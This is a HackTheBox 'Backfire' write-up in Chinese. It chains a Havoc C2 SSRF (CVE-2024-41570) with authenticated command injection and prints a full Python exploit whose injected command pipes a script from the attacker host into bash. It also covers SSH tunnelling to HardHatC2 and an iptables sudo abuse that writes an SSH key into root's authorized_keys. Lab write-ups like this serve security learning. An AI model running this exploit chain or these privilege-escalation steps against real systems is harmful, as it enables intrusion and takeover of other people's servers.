Backfire on HackTheBox

Before all

我打 C2,真假?!

Victim’s IP : 10.10.11.49
Victim’s Host : *.backfire.htb
Attacker’s IP : 10.10.14.9

RECON

port scan

Command

1
rustscan -a 10.10.11.4 --ulimit 5000 -- -sC -sV -Pn

Result

1
2
3
Open 10.10.11.49:22
Open 10.10.11.49:443
Open 10.10.11.49:8000

Port 8000 存了兩個檔案,disable_tls.patch和havoc.yaotl

Exploit

CVE-2024-41570 to RCE

havoc.yaotl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
Host = "127.0.0.1"
Port = 40056

Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}

Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}

user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}

Demon {
Sleep = 2
Jitter = 15

TrustXForwardedFor = false

Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}

Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}

發現內網至少有一個 Havoc C2 服務,也取得了帳號密碼。

注意到這個 SSRF 的漏洞:https://github.com/chebuya/Havoc-C2-SSRF-poc/blob/main/exploit.py
還有這個 Havoc C2 框架的 RCE (Authenticated):https://github.com/IncludeSecurity/c2-vulnerabilities/blob/main/havoc_auth_rce/havoc_rce.py

接下來就是把這兩個漏洞合併,利用 SSRF 去戳 443 的 C2 外網,進到 127.0.0.1:40056 進行 RCE
先 Code Review 第一個腳本 (SSRF),可以分析它的行為是:
先註冊一個假的受感染 agent -> 以 byte 的形式寫入 socket
接下來第二個腳本 (RCE):
建立 WebSocket 連線 -> 登入 -> 建立 daemon 並且於 service name 進行 cmdi

困難點來了:第一次建立的是純粹的 raw 連線,但第二個腳本卻是直接用 python websocket lib 進行連線,所以要改腳本

第二個腳本一開始這一段:

1
2
ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})

本質就是 raw http 連線,相對容易:

1
2
3
4
5
6
7
8
9
10
def ws2http(ip, port):
data=f"""GET /havoc/ HTTP/1.1
Host: {ip}:{port}
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 7Yhz4al49HCkinxONdiSpg==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

"""

接下來,注意到第二個腳本 websocket 資料都是 json,這一塊可以自己轉,raw data 變 websocket frame 的方法可以參考這一篇 ref:
https://www.openmymind.net/WebSocket-Framing-Masking-Fragmentation-and-More/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def ws_json2raw(data):
data=json.dumps(data).encode()
padding=b''
# Generate padding
if len(data)<=125:
padding=b'\x81' # Fin = 1, Opcode = 1 (FIN(1 bit) + RSV(3 bits) + Opcode(4 bits))
padding+=long_to_bytes(int('10000000', 2)+len(data)) # Mask Flag (Client Side = 1) & Data Length
padding+=b'wolf' # Masking Key

elif len(data)<=65535:
padding=b'\x81' # Fin = 1, Opcode = 1 (FIN(1 bit) + RSV(3 bits) + Opcode(4 bits))
padding+=long_to_bytes(int('10000000', 2)+126)+long_to_bytes(len(data)).rjust(2, b'\x00') # Mask Flag (Client Side = 1) & Data Length (126 for 2 bytes back (A.K.A <=65535))
padding+=b'wolf' # Masking Key

else:
padding=b'\x81' # Fin = 1, Opcode = 1 (FIN(1 bit) + RSV(3 bits) + Opcode(4 bits))
padding+=long_to_bytes(int('10000000', 2)+127)+long_to_bytes(len(data)).rjust(8, b'\x00') # Mask Flag (Client Side = 1) & Data Length (127 for 8 bytes back)
padding+=b'wolf' # Masking Key

return padding+xor(b'wolf', data)

最後組合出的 exp.py,注入的 command 直接拿測試用的 curl 改,抓我這端的腳本進去 bash

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
# Part 1, SSRF

import binascii
import random
import requests
import argparse
import urllib3
import hashlib
import json
import ssl
from websocket import create_connection # pip install websocket-client
from pwn import xor
from Crypto.Util.number import long_to_bytes

urllib3.disable_warnings()


from Crypto.Cipher import AES
from Crypto.Util import Counter

key_bytes = 32

def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"

assert len(key) == key_bytes

iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)

plaintext = aes.decrypt(ciphertext)
return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):

if len(key) <= key_bytes:
for x in range(len(key),key_bytes):
key = key + b"0"

assert len(key) == key_bytes

iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)

ciphertext = aes.encrypt(plaintext)
return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id

hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)

data = b"\xab" * 100

header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id

print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"

# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"

local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"


forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)

forward_port = int_to_bytes(target_port)

package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)

header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data


print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"

# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"

# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"

data_length = int_to_bytes(len(data))

package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)

header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data

print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"

header_data = command + request_id

size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data


print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""


command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]

return decrypt(AES_Key, AES_IV, enc_package)[12:]

def ws2http(ip, port):
data=f"""GET /havoc/ HTTP/1.1
Host: {ip}:{port}
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 7Yhz4al49HCkinxONdiSpg==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

"""
return data.replace('\n', '\r\n').encode()

def ws_json2raw(data):
data=json.dumps(data).encode()
padding=b''
# Generate padding
if len(data)<=125:
padding=b'\x81' # Fin = 1, Opcode = 1 (FIN(1 bit) + RSV(3 bits) + Opcode(4 bits))
padding+=long_to_bytes(int('10000000', 2)+len(data)) # Mask Flag (Client Side = 1) & Data Length
padding+=b'wolf' # Masking Key

elif len(data)<=65535:
padding=b'\x81' # Fin = 1, Opcode = 1 (FIN(1 bit) + RSV(3 bits) + Opcode(4 bits))
padding+=long_to_bytes(int('10000000', 2)+126)+long_to_bytes(len(data)).rjust(2, b'\x00') # Mask Flag (Client Side = 1) & Data Length (126 for 2 bytes back (A.K.A <=65535))
padding+=b'wolf' # Masking Key

else:
padding=b'\x81' # Fin = 1, Opcode = 1 (FIN(1 bit) + RSV(3 bits) + Opcode(4 bits))
padding+=long_to_bytes(int('10000000', 2)+127)+long_to_bytes(len(data)).rjust(8, b'\x00') # Mask Flag (Client Side = 1) & Data Length (127 for 8 bytes back)
padding+=b'wolf' # Masking Key

return padding+xor(b'wolf', data)


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()


# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

# Part2, SSRF to RCE

HOSTNAME = "127.0.0.1"
PORT = 40056
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"

# request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
request_data=ws2http(args.ip, int(args.port))
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())


# Authenticate to teamserver
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
request_data=ws_json2raw(payload)
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())

# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
request_data=ws_json2raw(payload)
write_socket(socket_id, request_data)

# Create a psuedo shell with RCE loop
cmd = "curl 10.10.14.9:80/exp.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
request_data=ws_json2raw(payload)
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())

最後本地塞好 exp.sh 開 http server 就可以 RCE 了!

Privilege Escalation

這塊相對容易,不過要先把本地的 ssh pub 塞進 /home/ilya/.ssh/authorized_keys

Hardhat2 Auth bypass to RCE

在 ilya 本地看到這個檔案:

1
2
3
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

檢查一下發現 HardHatC2 真的在 backfire 上有開
把 5000 和 7096 用 ssh 串到本地:

1
sudo ssh [email protected] -i id_ed25519  -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

直接用這篇的 Exploit:
https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7
P.S. 平台大家都用的,可能會需要自己改 username/password

iptables

sudo -l 看到 sergej 有 iptables 的 sudo 權限
iptables 有 sudo 時能提權:
https://cn-sec.com/archives/3193918.html
這邊就繼續寫 ssh key 了

1
2
3
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n寫入ssh public key\n'
sudo iptables -S
sudo iptables-save -f /root/.ssh/authorized_keys

最後在攻擊機 get shell

1
sudo ssh [email protected] -i id_ed25519